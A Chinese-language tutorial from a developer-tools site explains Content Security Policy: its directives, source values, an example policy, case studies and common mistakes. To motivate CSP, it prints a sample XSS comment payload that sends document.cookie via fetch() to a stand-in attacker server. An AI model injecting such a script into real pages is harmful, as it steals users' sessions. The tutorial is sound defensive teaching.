FlowingDev

CSP 详解:你网站的专属保镖

了解什么是内容安全策略 (CSP),它的指令如何工作,以及为什么它是抵御跨站脚本 (XSS) 攻击的关键防线。

试用工具: CSP 检查器

一句话概括

内容安全策略 (Content-Security-Policy, CSP) 是一种通过 HTTP header 传递的安全标准,它告诉浏览器哪些内容源(如脚本、图片和样式)是可信的,应该被允许加载,实际上就像一个专门抵挡恶意注入的保安大叔。

它解决了什么问题

在早期那个狂野的西部拓荒时代,Web 安全这事儿有点像事后诸葛亮。当时出现的最棘手的反派之一就是跨站脚本攻击,即 XSS。简而言之,XSS 就是坏人想方设法将他们自己的恶意代码(通常是 JavaScript)注入到一个你信任的网站中。

想象一下,一个带评论区的博客。作为开发者,你小心翼翼地搭建了网站。但你在显示评论的地方漏掉了一个小小的 bug。一个攻击者来了,他没有写“文章不错!”,而是提交了这样一条评论:

<script>
  // 偷走已登录用户的会话 cookie
  fetch('https://attackers-evil-server.com/steal?cookie=' + document.cookie);
</script>

现在,每个查看这篇博文的其他用户,他们的浏览器都会执行这段脚本。由于脚本是在你的博客域名上运行的,它能访问所有合法脚本可以访问的东西,比如用户的会话 cookie。攻击者现在可以劫持他们的会话并冒充他们。太可怕了。

多年来,唯一的防御方法是小心翼翼地净化每一份用户输入。这被称为“输入验证和输出编码”,至今仍然至关重要。但要做到 100% 的时间都 100% 正确,也极其困难。一个小小的疏忽,你就可能暴露在风险之下。

CSP 的诞生源于“纵深防御”的需求。这个想法很简单:服务器能不能告诉浏览器,“嘿,我知道我理应是完美的,但万一我搞砸了,放进来一个恶意脚本,我希望你帮我执行一些规则。只执行来自我自己的域名 my-app.com 和 Google Analytics 的脚本。如果你看到任何其他来源的脚本,就把它拦下来,并告诉我一声。”

这就是 CSP。它是第二道防线,直接在用户的浏览器中运作,把浏览器从一个被动的受害者变成一个主动的安全卫士。

底层工作原理

CSP 不是魔法,它只是一个在 HTTP 响应头中传递的文本字符串。两个主要的 header 是:

  • Content-Security-Policy:强制执行策略。如果某个资源违反了策略,它就会被阻止。
  • Content-Security-Policy-Report-Only:一个“演习”模式。它只报告违规行为,但实际上不阻止任何东西,这对于测试和部署新策略而又不弄坏你的网站来说,简直是天赐之物。

这个 header 的值是一系列指令 (directives),每条指令以分号结尾。一条指令由一个名称和一组允许的来源列表组成。

常用指令

你可以把指令看作是你想控制的内容类别。

指令 控制... 作用说明
default-src 后备策略 当其他 -src 指令未指定时,为它们提供默认的源列表。优先设置这个!
script-src 脚本 JavaScript 来源,包括 script 标签、内联事件处理器 (onclick) 等。这是对抗 XSS 的关键。
style-src 样式表 CSS 文件、style 标签和内联 style 属性。
img-src 图片 <img> 标签、网站图标等。
connect-src 连接 fetch()、XMLHttpRequest、WebSocket 等可以请求的 URL。你的前端能和谁“说话”?
font-src 字体 通过 @font-face 加载的网络字体。
frame-src 框架 <iframe> 和 <frame> 元素的来源。
report-uri 报告 (已弃用但仍常用) 一个 URL,浏览器会将策略违规的 JSON 报告发送到这里。
report-to 报告 report-uri 的现代替代品,使用 Reporting API。

常用源值

对于每条指令,你需要指定允许从哪里加载内容。

源值 含义 示例
'self' 同源 允许来自与文档相同的域名、协议和端口的内容。
'none' 啥都别想加载 阻止该指令对应的所有内容。object-src 'none' 是个非常好的主意。
example.com 特定主机 允许来自 example.com 的内容。
*.example.com 带通配符的主机 允许来自 example.com 的任何子域名。谨慎使用!
https: 协议 允许来自任何 HTTPS 源的内容。
'unsafe-inline' 内联代码 允许内联 <script> 和 <style> 标签,以及 style 或 onclick 属性。如无必要,请勿使用!
'unsafe-eval' 动态代码 允许像 eval() 这样的字符串求值函数。巨大的安全风险。
'nonce-...' 一个加密随机数 如果内联脚本的 nonce 属性与 header 中的值匹配,则允许该脚本。这是安全使用特定内联脚本的绝佳方式。
'sha256-...' 一个 hash 值 如果内联脚本或样式的 SHA256 hash 与 header 中的值匹配,则允许它。

整合应用

我们来看一个现代 Web 应用的实际策略:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.my-analytics.com 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https://images.my-app.com;
  connect-src 'self' https://api.my-app.com;
  font-src 'none';
  object-src 'none';
  frame-ancestors 'none';
  report-to csp-endpoint;

我们来逐条解析一下:

  • default-src 'self': 默认情况下,只允许来自我们自己源的资源。
  • script-src ...: 我们允许来自我们自己源、我们的分析服务提供商的脚本,以及任何带有特定 nonce 值的内联脚本。服务器会为每个页面加载生成一个新的随机 nonce。
  • style-src 'self' 'unsafe-inline': 我们允许来自我们源的样式表。'unsafe-inline' 暗示我们可能有一些遗留代码会注入 style 属性,这是一个常见(但不理想)的情况。
  • img-src ...: 图片可以来自我们自己的源、作为 data: URI,或者来自我们专用的图片 CDN。
  • connect-src ...: 我们的前端 JavaScript 只被允许向我们自己的源和 api.my-app.com 发起 API 调用。
  • font-src 'none', object-src 'none': 我们不使用自定义字体或像 Flash 这样的插件,所以我们完全阻止它们。
  • frame-ancestors 'none': 这可以防止其他网站将我们的网站放入 <iframe> 中,从而阻止点击劫持 (clickjacking) 攻击。
  • report-to csp-endpoint: 将违规报告发送到名为 csp-endpoint 的报告端点(在其他地方配置)。

真实世界的案例

电商网站的支付信息窃贼

一个中型在线商店为了提升客户服务,在他们的网站上添加了一个第三方聊天小部件。他们将该小部件的域名添加到了 script-src 指令中,并自以为安全。但他们不知道的是,这个聊天小部件公司自己被黑了,攻击者修改了小部件的脚本文件。这个新的恶意版本会扒取支付页面上的信用卡号。由于商店的 CSP 信任该来源域名,这个恶意脚本毫无问题地被加载并执行了数周。

教训: 你的 CSP 是一条信任链。当你允许一个第三方域名时,你不仅仅是在信任那家公司,你还在信任他们的安全性、他们的部署流程以及他们所有的依赖项。子资源完整性 (Subresource Integrity, SRI) 是另一个可以帮助缓解这种特定风险的工具。

慢工出细活的部署

一家大型媒体机构想在他们高流量的新闻网站上实施一个严格的 CSP。他们知道,一次性部署可能会弄坏广告、视频和无数其他功能。他们没有直接上线,而是在 Content-Security-Policy-Report-Only 模式下部署了一个策略。在两周的时间里,他们只是收集数据。他们的 report-uri 端点每小时都被成千上万的报告淹没。他们将这些报告汇集到数据库中,并建立了一个仪表盘,显示最常被阻止的资源和它们所在的页面。他们发现了数十个被遗忘的旧版跟踪脚本、广告网络域名和视频播放器的依赖项。他们系统地要么移除了旧资源,要么将合法的资源添加到他们的策略白名单中。经过一个月的优化,他们才切换到强制执行模式。什么都没坏。

教训: 别摸黑上路。让 Report-Only 模式做你的副驾。它让你能根据真实的用户流量建立一个完美的、符合实际的策略,把一个可怕的安全任务变成一个可控的数据分析问题。

浏览器扩展的威胁

一家金融公司的员工使用了一个流行的浏览器扩展,该扩展通过注入自己的 CSS 和 JavaScript 来“美化”网页。在大多数网站上,这都无伤大雅。但当他登录公司内部财务门户时,网站却无法正常工作。他很困惑,打电话给 IT 部门。一位开发者查看了浏览器的控制台,看到一连串的 CSP 违规错误:门户网站正在阻止扩展的脚本和样式被注入。这个门户网站的严格 CSP(只允许来自 'self' 的脚本和样式)正确地将扩展的代码识别为不受信任的外部资源并阻止了它。它防止了一次由一个善意但具有侵入性的扩展可能导致的数据泄露。

教训: 一个强大的 CSP 不仅能保护你的用户免受你自己潜在 bug 的影响,还能抵御来自他们自身浏览器环境的威胁,比如恶意或权限过大的扩展。

常见错误和陷阱

  • 依赖 'unsafe-inline'。 这是最常见的陷阱。开发者在处理旧的 onclick 事件处理器或内联 <script> 标签时遇到问题,就用 'unsafe-inline' 作为快速修复方案。这重新为 XSS 攻击打开了一个巨大的缺口。更好的方法是重构代码以使用 addEventListener,或者,如果你绝对必须使用内联脚本,请使用 nonce 或 hash 将其明确地加入白名单。
  • 忘了 default-src。 如果你只设置了 script-src 和 style-src,你就为其他攻击向量敞开了大门。那 <object> 标签呢?或者 Web Worker 呢?始终从一个限制性的 default-src 'self' 或 default-src 'none' 开始,然后根据需要逐个指令地放开权限。
  • 设置了报告却从不查看。 一个指向死胡同的 report-uri 是没用的。违规报告是你的预警系统。它们可以提醒你野外出现了新的 XSS 攻击,或者告诉你最近的一次部署为一部分用户弄坏了某个合法功能。你必须有一个流程来接收、聚合和审查这些报告。
  • 使用过于宽松的通配符。 使用 script-src https://*.some-cdn.com 很诱人,但这可能会让攻击者从 https://malicious-user-account.some-cdn.com 加载脚本。你的主机名应该尽可能具体。
  • 忽略 frame-ancestors。 XSS 吸引了所有人的注意,但点击劫持 (clickjacking) 是另一个实实在在的威胁。攻击者可以在他们自己的恶意网站上用一个透明的 <iframe> 加载你的网站,并诱骗用户点击你网站上的按钮。frame-ancestors 'none' 或 frame-ancestors 'self' 是一个简单而强大的防御措施,却常常被遗忘。

为什么你应该关注它

如果你符合以下情况,就应该考虑 CSP...

  • 构建任何处理用户登录、个人数据或支付信息的 Web 应用。
  • 显示任何由用户提交的内容(评论、个人资料、论坛帖子)。
  • 集成了多个第三方脚本,如分析、广告、客服小部件或标签管理器。
  • 希望为任何非小型 Web 项目建立一个稳健、现代、纵深防御的安全态势。

简而言之,如果你是 21 世纪的 Web 开发者,CSP 就应该是你工具箱里的标配。它不再是那些有被迫害妄想症的人才用的奇特功能,而是前端安全的基础构件。

深入了解

理论搞定,动手试试吧——100% 在你的浏览器中运行。

试用工具: CSP 检查器